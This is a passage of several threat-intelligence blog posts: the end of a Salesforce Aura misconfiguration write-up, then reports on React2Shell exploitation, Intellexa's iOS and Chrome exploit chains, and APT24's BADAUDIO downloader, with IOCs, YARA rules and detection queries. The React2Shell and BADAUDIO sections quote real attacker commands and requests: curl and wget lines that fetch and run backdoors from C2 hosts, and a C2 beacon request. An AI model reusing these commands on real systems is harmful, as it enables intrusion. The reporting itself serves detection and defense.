    • Secure Private Data for Authenticated Users: Review sharing rules and organization-wide defaults to ensure that authenticated users can only access records and objects they are explicitly granted permission to.

    • Disable Self-Registration: If not required, disable the self-registration feature to prevent unauthorized account creation.

    • Follow Salesforce Security Best Practices: Implement the security recommendations provided by Salesforce, including the use of their Security Health Check tool.

    Salesforce offers a comprehensive Security Guide that details how to properly configure objects sharing rules, field security, logging, real-time event monitoring and more.

    All-in-One Tool: AuraInspector

    To aid in the discovery of these misconfigurations, Mandiant is releasing AuraInspector. This tool automates the techniques described in this post to help identify potential shortcomings. Mandiant also developed an internal version of the tool with capabilities to extract records; however, to avoid misuse, the data extraction capability is not implemented in the public release. The options and capabilities of the tool are shown in Figure 12.

    Help message of the AuraInspector tool

    Figure 12: Help message of the AuraInspector tool

    The AuraInspector tool also attempts to automatically discover valuable contextual information, including:

    • Aura Endpoint: Automatically identifying the Aura endpoint for further testing.

    • Home and Record List URLs: Retrieving direct URLs to home pages and record lists, offering insights into the user's navigation paths and accessible data views.

    • Self-Registration Status: Determining if self-registration is enabled and providing the self-registration URL when enabled.

    All operations performed by the tool are strictly limited to reading data, ensuring that the targeted Salesforce instances are not impacted or modified. AuraInspector is available for download now.

    Detecting Salesforce Instances

    While Salesforce Experience Cloud applications often make obvious requests to the Aura endpoint, there are situations where an application's integration is more subtle. Mandiant often observes references to Salesforce Experience Cloud applications buried in large JavaScript files. It is recommended to look for references to Salesforce domains such as:

    • *.vf.force.com

    • *.my.salesforce-sites.com

    • *.my.salesforce.com

    The following is a simple Burp Suite Bcheck that can help identify those hidden references:

    metadata:
        language: v2-beta
        name: "Hidden Salesforce app detected"
        description: "Salesforce app might be used by some functionality of the application"
        tags: "passive"
        author: "Mandiant"
    
    given response then
        if ".my.site.com" in {latest.response} or ".vf.force.com" in {latest.response} or ".my.salesforce-sites.com" in {latest.response} or ".my.salesforce.com" in {latest.response} then
            report issue:
                severity: info
                confidence: certain
                detail: "Backend Salesforce app detected"
                remediation: "Validate whether the app belongs to the org and check for potential misconfigurations"
        end if

    Note that this is a basic template that can be further fine-tuned to better identify Salesforce instances using other relevant patterns.

    The following is a representative UDM query that can help identify events in Google SecOps associated with POST requests to the Aura endpoint for potential Salesforce instances:

    target.url = /\/aura$/ AND 
    network.http.response_code = 200 AND 
    network.http.method = "POST"

    Note that this is a basic UDM query that can be further fine-tuned to better identify Salesforce instances using other relevant patterns.

    Mandiant Services

    Mandiant Consulting can assist organizations in auditing their Salesforce environments and implementing robust access controls. Our experts can help identify misconfigurations, validate security postures, and ensure compliance with best practices to protect sensitive data.

    Acknowledgements

    This analysis would not have been possible without the assistance of the Mandiant Offensive Security Services (OSS) team. We also appreciate Salesforce for their collaboration and comprehensive documentation.

    Received — 11 January 2026 Threat Intelligence

    Multiple Threat Actors Exploit React2Shell (CVE-2025-55182)

    12 December 2025 at 15:00

    Written by: Aragorn Tseng, Robert Weiner, Casey Charrier, Zander Work, Genevieve Stark, Austin Larsen


    Introduction

    On Dec. 3, 2025, a critical unauthenticated remote code execution (RCE) vulnerability in React Server Components, tracked as CVE-2025-55182 (aka "React2Shell"), was publicly disclosed. Shortly after disclosure, Google Threat Intelligence Group (GTIG) had begun observing widespread exploitation across many threat clusters, ranging from opportunistic cyber crime actors to suspected espionage groups.

    GTIG has identified distinct campaigns leveraging this vulnerability to deploy a MINOCAT tunneler, SNOWLIGHT downloader, HISONIC backdoor, and COMPOOD backdoor, as well as XMRIG cryptocurrency miners, some of which overlaps with activity previously reported by Huntress. These observed campaigns highlight the risk posed to organizations using unpatched versions of React and Next.js. This post details the observed exploitation chains and post-compromise behaviors and provides intelligence to assist defenders in identifying and remediating this threat.

    For information on how Google is protecting customers and mitigation guidance, please refer to our companion blog post, Responding to CVE-2025-55182: Secure your React and Next.js workloads.

    CVE-2025-55182 Overview

    CVE-2025-55182 is an unauthenticated RCE vulnerability in React Server Components with a CVSS v3.x score of 10.0 and a CVSS v4 score of 9.3. The flaw allows unauthenticated attackers to send a single HTTP request that executes arbitrary code with the privileges of the user running the affected web server process.

    GTIG considers CVE-2025-55182 to be a critical-risk vulnerability. Due to the use of React Server Components (RSC) in popular frameworks like Next.js, there are a significant number of exposed systems vulnerable to this issue. Exploitation potential is further increased by two factors: 1) there are a variety of valid payload formats and techniques, and 2) the mere presence of vulnerable packages on systems is often enough to permit exploitation.

    The specific RSC packages that are vulnerable to CVE-2025-55182 are versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

    • react-server-dom-webpack

    • react-server-dom-parcel

    • react-server-dom-turbopack

    A large number of non-functional exploits, and consequently false information regarding viable payloads and exploitation logic, were widely distributed about this vulnerability during the initial days after disclosure. An example of a repository that started out wholly non-functional is this repository published by the GitHub user "ejpir", which, while initially claiming to be a legitimate functional exploit, has now updated their README to appropriately label their initial research claims as AI-generated and non-functional. While this repository still contains non-functional exploit code, it also now contains legitimate exploit code with Unicode obfuscation. While instances like this initially caused confusion across the industry, the number of legitimate exploits and their capabilities have massively expanded, including in-memory Next.js web shell deployment capabilities. There are also exploit samples, some entirely fake, some non-functional, and some with legitimate functionality, containing malware targeting security researchers. Researchers should validate all exploit code before trusting its capabilities or legitimacy.

    Technical write-ups about this vulnerability have been published by reputable security firms, such as the one from Wiz. Researchers should refer to such trusted publications for up-to-date and accurate information when validating vulnerability details, exploit code, or published detections.

    Additionally, there was a separate CVE issued for Next.js (CVE-2025-66478); however, this CVE has since been marked as a duplicate of CVE-2025-55182.

    Observed Exploitation Activity

    Since exploitation of CVE-2025-55182 began, GTIG has observed diverse payloads and post-exploitation behaviors across multiple regions and industries. In this blog post we focus on China-nexus espionage and financially motivated activity, but we have additionally observed Iran-nexus actors exploiting CVE-2025-55182.

    China-Nexus Activity

    As of Dec. 12, GTIG has identified multiple China-nexus threat clusters utilizing CVE-2025-55182 to compromise victim networks globally. Amazon Web Services (AWS) reporting indicates that China-nexus threat groups Earth Lamia and Jackpot Panda are also exploiting this vulnerability. GTIG tracks Earth Lamia as UNC5454. Currently, there are no public indicators available to assess a group relationship for Jackpot Panda.

    MINOCAT

    GTIG observed China-nexus espionage cluster UNC6600 exploiting the vulnerability to deliver the MINOCAT tunneler. The threat actor retrieved and executed a bash script used to create a hidden directory ($HOME/.systemd-utils), kill any processes named "ntpclient", download a MINOCAT binary, and establish persistence by creating a new cron job and a systemd service and by inserting malicious commands into the current user's shell config to execute MINOCAT whenever a new shell is started. MINOCAT is an 64-bit ELF executable for Linux that includes a custom "NSS" wrapper and an embedded, open-source Fast Reverse Proxy (FRP) client that handles the actual tunneling.

    SNOWLIGHT

    In separate incidents, suspected China-nexus threat actor UNC6586 exploited the vulnerability to execute a command using cURL or wget to retrieve a script that then downloaded and executed a SNOWLIGHT downloader payload (7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a). SNOWLIGHT is a component of VSHELL, a publicly available multi-platform backdoor written in Go, which has been used by threat actors of varying motivations. GTIG observed SNOWLIGHT making HTTP GET requests to C2 infrastructure (e.g., reactcdn.windowserrorapis[.]com) to retrieve additional payloads masquerading as legitimate files.

    curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>

    Figure 1: cURL command executed to fetch SNOWLIGHT payload

    COMPOOD

    GTIG also observed multiple incidents in which threat actor UNC6588 exploited CVE-2025-55182, then ran a script that used wget to download a COMPOOD backdoor payload. The script then executed the COMPOOD sample, which masqueraded as Vim. GTIG did not observe any significant follow-on activity, and this threat actor's motivations are currently unknown.

    wget http://45.76.155[.]14/vim -O /tmp/vim
    /tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"

    Figure 2: COMPOOD downloaded via wget and executed

    COMPOOD has historically been linked to suspected China-nexus espionage activity. In 2022, GTIG observed COMPOOD in incidents involving a suspected China-nexus espionage actor, and we also observed samples uploaded to VirusTotal from Taiwan, Vietnam, and China.

    HISONIC

    Another China-nexus actor, UNC6603, deployed an updated version of the HISONIC backdoor. HISONIC is a Go-based implant that utilizes legitimate cloud services, such as Cloudflare Pages and GitLab, to retrieve its encrypted configuration. This technique allows the actor to blend malicious traffic with legitimate network activity. In this instance, the actor embedded an XOR-encoded configuration for the HISONIC backdoor delimited between two markers, "115e1fc47977812" to denote the start of the configuration and "725166234cf88gxx" to mark the end. Telemetry indicates this actor is targeting cloud infrastructure, specifically AWS and Alibaba Cloud instances, within the Asia Pacific (APAC) region.

    <version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>

    Figure 3: HISONIC markers denoting configuration

    ANGRYREBEL.LINUX

    Finally, we also observed a China-nexus actor, UNC6595, exploiting the vulnerability to deploy ANGRYREBEL.LINUX. The threat actor uses an installation script (b.sh) that attempts to evade detection by masquerading the malware as the legitimate OpenSSH daemon (sshd) within the /etc/ directory, rather than its standard location. The actor also employs timestomping to alter file timestamps and executes anti-forensics commands, such as clearing the shell history (history -c). Telemetry indicates this cluster is primarily targeting infrastructure hosted on international Virtual Private Servers (VPS).

    Financially Motivated Activity

    Threat actors that monetize access via cryptomining are often among the first to exploit newly disclosed vulnerabilities. GTIG observed multiple incidents, starting on Dec. 5, in which threat actors exploited CVE-2025-55182 and deployed XMRig for illicit cryptocurrency mining. In one observed chain, the actor downloaded a shell script named "sex.sh," which downloads and executes the XMRIG cryptocurrency miner from GitHub. The script also attempts to establish persistence for the miner via a new systemd service called "system-update-service."

    GTIG has also observed numerous discussions regarding CVE-2025-55182 in underground forums, including threads in which threat actors have shared links to scanning tools, proof-of-concept (PoC) code, and their experiences using these tools.

    Outlook and Implications

    After the disclosure of high-visibility, critical vulnerabilities, it is common for affected products to undergo a period of increased scrutiny, resulting in a swift but temporary increase in the number of vulnerabilities discovered. Since the disclosure of CVE-2025-55182, three additional React vulnerabilities have been disclosed: CVE-2025-55183, CVE-2025-55184, and CVE-2025-67779. In this case, two of these follow-on vulnerabilities have relatively limited impacts (restricted information disclosure and causing a denial-of-service (DoS) condition). The third vulnerability (CVE-2025-67779) also causes a DoS condition, as it arose due to an incomplete patch for CVE-2025-55184.

    Recommendations

    Organizations utilizing React or Next.js should take the following actions immediately:

    1. Patch Immediately:

      1. To prevent remote code execution due to CVE-2025-55182, patch vulnerable React Server Components to at least 19.0.1, 19.1.2, or 19.2.1, depending on your vulnerable version. Patching to 19.2.2 or 19.2.3 will also prevent the potential for remote code execution.

      2. To prevent the information disclosure impacts due to CVE-2025-55183, patch vulnerable React Server Components to at least 19.2.2.

      3. To prevent DoS impacts due to CVE-2025-55184 and CVE-2025-67779, patch vulnerable React Server Components to 19.2.3. The 19.2.2 patch was found to be insufficient in preventing DoS impacts.

    2. Deploy WAF Rules: Google has rolled out a Cloud Armor web application firewall (WAF) rule designed to detect and block exploitation attempts related to this vulnerability. We recommend deploying this rule as a temporary mitigation while your vulnerability management program patches and verifies all vulnerable instances.

    3. Audit Dependencies: Determine if vulnerable React Server Components are included as a dependency in other applications within your environment.

    4. Monitor Network Traffic: Review logs for outbound connections to the indicators of compromise (IOCs) listed below, particularly wget or cURL commands initiated by web server processes.

    5. Hunt for Compromise: Look for the creation of hidden directories like $HOME/.systemd-utils, the unauthorized termination of processes such as ntpclient, and the injection of malicious execution logic into shell configuration files like $HOME/.bashrc.

    Indicators of Compromise (IOCs)

    To assist defenders in hunting for this activity, we have included IOCs for the threats described in this blog post. A broader subset of related indicators is available in a Google Threat Intelligence Collection of IOCs available for registered users.

    Indicator

    Type

    Description

    reactcdn.windowserrorapis[.]com

    Domain

    SNOWLIGHT C2 and Staging Server

    82.163.22[.]139

    IP Address

    SNOWLIGHT C2 Server

    216.158.232[.]43

    IP Address

    Staging server for sex.sh script

    45.76.155[.]14

    IP Address

    COMPOOD C2 and Payload Staging Server

    df3f20a961d29eed46636783b71589c183675510737c984a11f78932b177b540

    SHA256

    HISONIC sample

    92064e210b23cf5b94585d3722bf53373d54fb4114dca25c34e010d0c010edf3

    SHA256

    HISONIC sample

    0bc65a55a84d1b2e2a320d2b011186a14f9074d6d28ff9120cb24fcc03c3f696

    SHA256

    ANGRYREBEL.LINUX sample

    13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274

    SHA256

    XMRIG Downloader Script 

    (filename: sex.sh)

    7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a

    SHA256

    SNOWLIGHT sample (filename: linux_amd64)

    776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273

    SHA256

    MINOCAT sample

    YARA Rules

    MINOCAT

    rule G_APT_Tunneler_MINOCAT_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_modified = "2025-12-10"
    		rev = "1"
    		md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
    	strings:
    		$magic = { 7F 45 4C 46 }
    		$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
    		$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
    		$frp_str1 = "libxf-2.9.644/main.c"
    		$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
    		$frp_str3 = "cannot found run ID, it should inited when login!"
    		$frp_str4 = "new work connection request run_id marshal failed!"
    		$telnet_str1 = "Starting telnetd on port %d\n"
    		$telnet_str2 = "No login shell found at %s\n"
    		$key = "bigeelaminoacow"
    	condition:
    		$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
    }

    COMPOOD

    rule G_Backdoor_COMPOOD_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_modified = "2025-12-11"
    		rev = “1”
                md5 = “d3e7b234cf76286c425d987818da3304”
    	strings:
    		$strings_1 = "ShellLinux.Shell"
    		$strings_2 = "ShellLinux.Exec_shell"
    		$strings_3 = "ProcessLinux.sendBody"
    		$strings_4 = "ProcessLinux.ProcessTask"
    		$strings_5 = "socket5Quick.StopProxy"
    		$strings_6 = "httpAndTcp"
    		$strings_7 = "clean.readFile"
    		$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
    		$strings_9 = "/proc/self/auxv"
    		$strings_10 = "/dev/urandom"
    		$strings_11 = "client finished"
    		$strings_12 = "github.com/creack/pty.Start"
    	condition:
    		uint32(0) == 0x464C457f and 8 of ($strings_*)
    }

    SNOWLIGHT

    rule G_Hunting_Downloader_SNOWLIGHT_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-03-25"
    		date_modified = "2025-03-25"
    		md5 = "3a7b89429f768fdd799ca40052205dd4"
    		rev = 1
    	strings:
    		$str1 = "rm -rf $v"
    		$str2 = "&t=tcp&a="
    		$str3 = "&stage=true"
    		$str4 = "export PATH=$PATH:$(pwd)"
    		$str5 = "curl"
    		$str6 = "wget"
    		$str7 = "python -c 'import urllib"
    	condition:
    		all of them and filesize < 5KB
    }

    Sanctioned but Still Spying: Intellexa’s Prolific Zero-Day Exploits Continue

    3 December 2025 at 15:00

    Introduction 

    Despite extensive scrutiny and public reporting, commercial surveillance vendors continue to operate unimpeded. A prominent name continues to surface in the world of mercenary spyware, Intellexa. Known for its “Predator” spyware, the company was sanctioned by the US Government. New Google Threat Intelligence Group (GTIG) analysis shows that Intellexa is evading restrictions and thriving

    Intellexa has adapted, evaded restrictions, and continues selling digital weapons to the highest bidders. Alongside research published by our colleagues from Recorded Future and Amnesty, this blog post will shed light on Intellexa’s recent activities, unveil the real-world impact of their surveillance tools, and detail the actions we are taking against this industry.

    Continued Prolific Exploitation of Zero-Day Vulnerabilities 

    Over the past several years, Intellexa has solidified its position as one of, if not the most, prolific spyware vendors exploiting zero-day vulnerabilities against mobile browsers. Despite the consistent efforts of security researchers and platform vendors to identify and patch these flaws, Intellexa repeatedly demonstrates an ability to procure or develop new zero-day exploits, quickly adapting and continuing operations for their customers.

    Intellexa is responsible for a substantial number of the zero-day vulnerabilities identified over the years by Google’s Threat Analysis Group (TAG), now part of GTIG. As an example, out of approximately 70 zero-day vulnerabilities discovered and documented by TAG since 2021, Intellexa accounts for 15 unique zero-days, including Remote Code Execution (RCE), Sandbox Escape (SBX), and Local Privilege Escalation (LPE) vulnerabilities. All of these zero-days have been patched by the respective vendors. In addition to developing exploitation of zero-days, we increasingly see evidence that Intellexa is purchasing steps of exploit chains from external entities.

    CVE

    Role

    Vendor

    Product

    Type

    Description

    CVE-2025-48543

    SBX+LPE

    Google

    Android

    Memory corruption

    Use-After-Free in Android Runtime

    CVE-2025-6554

    RCE

    Google

    Chrome

    Memory corruption

    Type confusion in V8

    CVE-2023-41993

    RCE

    Apple

    iOS

    Memory Corruption

    WebKit JIT RCE

    CVE-2023-41992

    SBX+LPE

    Apple

    iOS

    Memory Corruption

    Kernel IPC Use-After-Free

    CVE-2023-41991

    LPE

    Apple

    iOS

    Code Signing Bypass

    Code Signing Bypass

    CVE-2024-4610

    LPE

    ARM

    Mali

    Memory Corruption

    Improper GPU memory processing operations

    CVE-2023-4762

    RCE

    Google

    Chrome

    Memory corruption

    Type confusion in V8

    CVE-2023-3079

    RCE

    Google

    Chrome

    Memory Corruption

    Type Confusion in V8

    CVE-2023-2136

    SBX

    Google

    Skia

    Memory Corruption

    Integer overflow in Skia SKSL

    CVE-2023-2033

    RCE

    Google

    Chrome

    Memory Corruption

    Use-After-Free in V8

    CVE-2021-38003

    RCE

    Google

    Chrome

    Memory Corruption

    Inappropriate implementation in V8

    CVE-2021-38000

    RCE

    Google

    Chrome

    Logic/Design Flaw

    Insufficient validation of untrusted input in Intents

    CVE-2021-37976

    SBX

    Google

    Chrome

    Memory Corruption

    Information leak in memory_instrumentation

    CVE-2021-37973

    SBX

    Google

    Chrome

    Memory Corruption

    Use-after-free in Portals

    CVE-2021-1048

    SBX+LPE

    Google

    Android

    Memory Corruption

    Use-After-Free in ep_loop_check_proc

    Table 1: Zero-days associated with Intellexa since 2021

    Exploit Chain 

    Partnering with our colleagues at CitizenLab in 2023, we captured a full iOS zero-day exploit chain used in the wild against targets in Egypt. Developed by Intellexa, this exploit chain was used to install spyware publicly known as Predator surreptitiously onto a device. According to metadata, Intellexa referred to this exploit chain internally as “smack.”

    First Stage: JSKit Framework Déjà Vu

    The initial stage of the exploit chain was a Safari RCE zero-day that Apple fixed as CVE-2023-41993. The exploit leveraged a framework internally called “JSKit.” Once arbitrary memory read and write primitives have been achieved thanks to a vulnerability in the renderer, in this case CVE-2023-41993, the framework provides all the requisite components to perform native code execution on modern Apple devices.

    We believe that Intellexa acquired their iOS RCE exploits from an external entity, as we have seen this exact same JSKit framework used by other surveillance vendors and government-backed attackers since 2021. In 2024, we reported publicly on a campaign by Russian government-backed attackers using this exact same iOS exploit and JSKit framework in a watering hole attack against Mongolian government websites. We have also seen it used in other campaigns by surveillance vendors, including another surveillance vendor using the same framework when exploiting CVE-2022-42856 in 2022.

    The JSKit framework is well maintained, supports a wide range of iOS versions, and is modular enough to support different Pointer Authentication Code (PAC) bypasses and code execution techniques. The framework can parse in-memory Mach-O binaries to resolve custom symbols and can ultimately manually map and execute Mach-O binaries directly from memory. In addition, the JSKit framework is fairly robust and well engineered, with each step of the exploitation process tested carefully. To date, we haven't seen a similar framework exist for Android.

    Example of testing and validating shellcode execution

    Figure 1: Example of testing and validating shellcode execution

    The exploit Intellexa used was apparently tracked internally as "exploit number 7," according to debug strings at the entry point of the RCE exploit. This suggests that the external entity supplying exploits likely possesses a substantial number of iOS exploits targeting a wide range of versions.

    Debug string suggesting multiple iOS exploits

    Figure 2: Debug string suggesting multiple iOS exploits

    Regarding Chrome exploitation, Intellexa has used a custom framework with all the features needed to gain code execution from any arbitrary vulnerability capable of leaking TheHole magic object in V8. They first used this framework with CVE-2021-38003, then with CVE-2023-4762, CVE-2023-3079, CVE-2023-2033, and more recently in June 2025 with CVE-2025-6554, observed in Saudi Arabia. This most recent, CVE-2025-6554, was a type confusion error in Chrome’s v8 engine. Chrome quickly mitigated the issue for all Chrome users with a configuration change and then fixed the bug as CVE-2025-6554 in version 138.0.7204.96. All these CVEs are vulnerabilities in V8 that all can be used to leak TheHole object.

    Following Stages: Watching the Helper

    The second stage is the most technical part of the chain and would require an entire separate blog post to describe all of its functionality. Essentially, this stage is in charge of breaking out of the Safari sandbox and executing an untrusted third stage payload as system by abusing the kernel vulnerabilities CVE-2023-41991 and CVE-2023-41992. This second stage communicates with the first stage to re-use some of the primitives (e.g., PAC bypass) and offers kernel memory read/write capabilities to the third stage.

    The third stage (tracked by GTIG as PREYHUNTER) is the last one we captured and is composed of two modules called "helper" and "watcher."

    The watcher module primarily ensures that the infected device does not exhibit suspicious behavior; if such behavior is detected, a notification is generated, and the exploitation process is terminated. The module is also in charge of monitoring crashes.

    The following behaviors are detected:

    • Developer mode via security.mac.amfi.developer_mode_status

    • Console attached via diagnosticd

    • US or IL locale set on the phone

    • Cydia installed

    • Bash, tcpdump, frida, sshd, or checkrain process currently running on the phone

    • McAfee, AvastMobileSecurity, or NortonMobileSecurity installed on the phone

    • Custom HTTP proxy setup

    • Custom root CA installed

    The helper module is communicating with the other parts of the exploit via a Unix socket at /tmp/helper.sock. Similar to the ALIEN malware for Android, the module has the ability to hook various places with custom frameworks called DMHooker and UMHooker. These hooks are allowing the module to perform basic spyware capabilities such as:

    • Recording VOIP conversations (stored in /private/var/tmp/l/voip_%lu_%u_PART.m4a)

    • Running a keylogger

    • Capturing pictures from the camera

    The module is also hooking into the SpringBoard in order to hide user notifications caused by the aforementioned actions. We believe these capabilities are provided to the operator to make sure the infected device is the correct one before deploying a more sophisticated spyware, such as Predator.

    The binary left compilation artifacts such as the following build directory including the name of the exploit chain.

    /Users/gitlab_ci_2/builds/jbSFKQv5/0/roe/ios16.5-smackjs8-production/.

    Overall, these exploits are high in sophistication, especially compared to the less sophisticated spyware stager, supporting our assessment that the exploits were likely acquired from another party. 

    Disrupting Novel Delivery Capabilities

    The primary delivery mechanism for Intellexa's exploits remains one-time links sent to targets directly via end-to-end encrypted messaging applications. However, we have also observed another tactic with a few customers—the use of malicious advertisements on third-party platforms to fingerprint users and redirect targeted users to Intellexa's exploit delivery servers.

    We believe this campaign is another example of commercial surveillance vendors abusing ads for exploit delivery, and Intellexa has gotten increasingly involved in this space since early 2025. Working with our partners, we identified the companies Intellexa created to infiltrate the advertising ecosystem, and those partners subsequently shut down the accounts from their platforms.

    Addressing the Threat of Intellexa’s Activities 

    Community efforts to raise awareness have built momentum toward an international policy response. Google has been a committed participant in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts.

    Recognizing the severity and widespread nature of Intellexa's activities in particular, we have made the decision to simultaneously deliver our government-backed attack warning to all known targeted accounts associated with Intellexa's customers since 2023. This effort encompasses several hundred accounts across various countries, including Pakistan, Kazakhstan, Angola, Egypt, Uzbekistan, Saudi Arabia, and Tajikistan, ensuring that individuals at risk are made aware of these sophisticated threats.

    Following our disclosure policy, we are sharing our research to raise awareness and advance security across the ecosystem. We have also added all identified websites and domains to Safe Browsing to safeguard users from further exploitation. We urge users and organizations to apply patches quickly and keep software fully up-to-date for their protection. Google will remain focused on detecting, analyzing, and preventing zero-day exploitation as well as reporting vulnerabilities to vendors immediately upon discovery.

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI Collection for registered users.

    File Indicators

    • 85d8f504cadb55851a393a13a026f1833ed6db32cb07882415e029e709ae0750
    • e3314bcd085bd547d9b977351ab72a8b83093c47a73eb5502db4b98e0db42cac

    YARA Rule

    This rule is intended to serve as a starting point for hunting efforts to identify PREYHUNTER malware; however, it may need adjustment over time.

    rule G_Hunting_PREYHUNTER_IOSStrings_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$ = "/Users/gitlab_ci_2/builds/jb"
    		$ = "/roe/ios1"
    		$ = "-production/libs/Exploit" ascii wide
    		$ = "/private/var/tmp/l/voip_%lu_%u_PART.m4a" ascii wide
    		$ = "/private/var/tmp/etherium.txt" ascii wide
    		$ = "/private/var/tmp/kusama.txt" ascii wide
    		$ = "_gadget_pacia" ascii wide
    		$ = "ZN6Helper4Voip10setupHooksEvE3$_3" ascii wide
    		$ = "Hook 1 triggered! location:" ascii wide
    		$ = "KernelReaderI11CorelliumRWE" ascii wide
    		$ = "NSTaskROP20WithoutDeveloperMode" ascii wide
    		$ = "UMHookerI14RemoteTaskPort" ascii wide
    		$ = "callFunc: building PAC cache for" ascii wide
    		$ = "select  tset  FROM tsettings WHERE INSTR(tset, ?)" ascii wide
    		$ = "select * from tsettings WHERE length(sha256) > ?" ascii wide
    		$ = "isTrojanThreadERK" ascii wide
    		$ = "getpid from victim returned:" ascii wide
    		$ = "victim task kaddr:" ascii wide
    	condition:
    		1 of them
    }

    Acknowledgements

    We would like to acknowledge and thank The Citizen Lab and Amnesty International for their collaboration and partnership.

    Beyond the Watering Hole: APT24's Pivot to Multi-Vector Attacks

    20 November 2025 at 15:00

    Written by: Harsh Parashar, Tierra Duncan, Dan Perez


    Google Threat Intelligence Group (GTIG) is tracking a long-running and adaptive cyber espionage campaign by APT24, a People's Republic of China (PRC)-nexus threat actor. Spanning three years, APT24 has been deploying BADAUDIO, a highly obfuscated first-stage downloader used to establish persistent access to victim networks.

    While earlier operations relied on broad strategic web compromises to compromise legitimate websites, APT24 has recently pivoted to using more sophisticated vectors targeting organizations in Taiwan. This includes the repeated compromise of a regional digital marketing firm to execute supply chain attacks and the use of targeted phishing campaigns.

    This report provides a technical analysis of the BADAUDIO malware, details the evolution of APT24's delivery mechanisms from 2022 to present, and offers actionable intelligence to help defenders detect and mitigate this persistent threat.

    As part of our efforts to combat serious threat actors, GTIG uses the results of our research to improve the safety and security of Google’s products and users. Upon discovery, all identified websites, domains, and files are added to the Safe Browsing blocklist in order to protect web users across major browsers. We also conducted a series of victim notifications with technical details to compromised sites, enabling affected organizations to secure their sites and prevent future infections.

    BADAUDIO campaign overview

    Figure 1: BADAUDIO campaign overview

    Payload Analysis: BADAUDIO and Cobalt Strike Beacon Integration

    The BADAUDIO malware is a custom first-stage downloader written in C++ that downloads, decrypts, and executes an AES-encrypted payload from a hard-coded command and control (C2) server. The malware collects basic system information, encrypts it using a hard-coded AES key, and sends it as a cookie value with the GET request to fetch the payload. The payload, in one case identified as Cobalt Strike Beacon, is decrypted with the same key and executed in memory.

    GET https://wispy[.]geneva[.]workers[.]dev/pub/static/img/merged?version=65feddea0367 HTTP/1.1
    Host: wispy[.]geneva[.]workers[.]dev
    Cookie: SSID=0uGjnpPHjOqhpT7PZJHD2WkLAxwHkpxMnKvq96VsYSCIjKKGeBfIKGKpqbRmpr6bBs8hT0ZtzL7/kHc+fyJkIoZ8hDyO8L3V1NFjqOBqFQ==
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
    Connection: Keep-Alive
    Cache-Control: no-cache
    
    --------------------------
    
    GET
    cfuvid=Iewmfm8VY6Ky-3-E-OVHnYBszObHNjr9MpLbLHDxX056bnRflosOpp2hheQHsjZFY2JmmO8abTekDPKzVjcpnedzNgEq2p3YSccJZkjRW7-mFsd0-VrRYvWxHS95kxTRZ5X4FKIDDeplPFhhb3qiUEkQqqgulNk_U0O7U50APVE
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
    Connection: Keep-Alive
    Cache-Control: no-cache

    Figure 2: BADAUDIO code sample

    The malware is engineered with control flow flattening—a sophisticated obfuscation technique that systematically dismantles a program's natural, structured logic. This method replaces linear code with a series of disconnected blocks governed by a central "dispatcher" and a state variable, forcing analysts to manually trace each execution path and significantly impeding both automated and manual reverse engineering efforts.

    Control flow flattening heavily obfuscates BADAUDIO malware

    Figure 3: Control flow flattening heavily obfuscates BADAUDIO malware (expand image)

    BADAUDIO typically manifests as a malicious Dynamic Link Library (DLL) leveraging DLL Search Order Hijacking (MITRE ATT&CK T1574.001) for execution via legitimate applications. Recent variants observed indicate a refined execution chain: encrypted archives containing BADAUDIO DLLs along with VBS, BAT, and LNK files. 

    These supplementary files automate the placement of the BADAUDIO DLL and a legitimate executable into user directories, establish persistence through legitimate executable startup entries, and trigger the DLL sideloading. This multi-layered approach to execution and persistence minimizes direct indicators of compromise.

    Upon execution, BADAUDIO collects rudimentary host information: hostname, username, and system architecture. This collected data is then hashed and embedded within a cookie parameter in the C2 request header. This technique provides a subtle yet effective method for beaconing and identifying compromised systems, complicating network-based detection.

    In one of these cases, the subsequent payload, decrypted using a hard-coded AES key, has been confirmed as Cobalt Strike Beacon. However, it is not confirmed that Cobalt Strike is present in every instance. The Beacon payload contained a relatively unique watermark that was previously observed in a separate APT24 campaign, shared in the Indicators of Compromise section. Cobalt Strike watermarks are a unique value generated from and tied to a given "CobaltStrike.auth" file. This value is embedded as the last 4 bytes for all BEACON stagers and in the embedded configuration for full backdoor BEACON samples.

    Campaign Overview: BADAUDIO Delivery Evolves

    Over three years, APT24 leveraged various techniques to deliver BADAUDIO, including strategic web compromises, repeated supply-chain compromise of a regional digital marketing firm in Taiwan, and spear phishing.

    BADAUDIO campaign overview

    Figure 4: BADAUDIO campaign overview

    Public Strategic Web Compromise Campaign

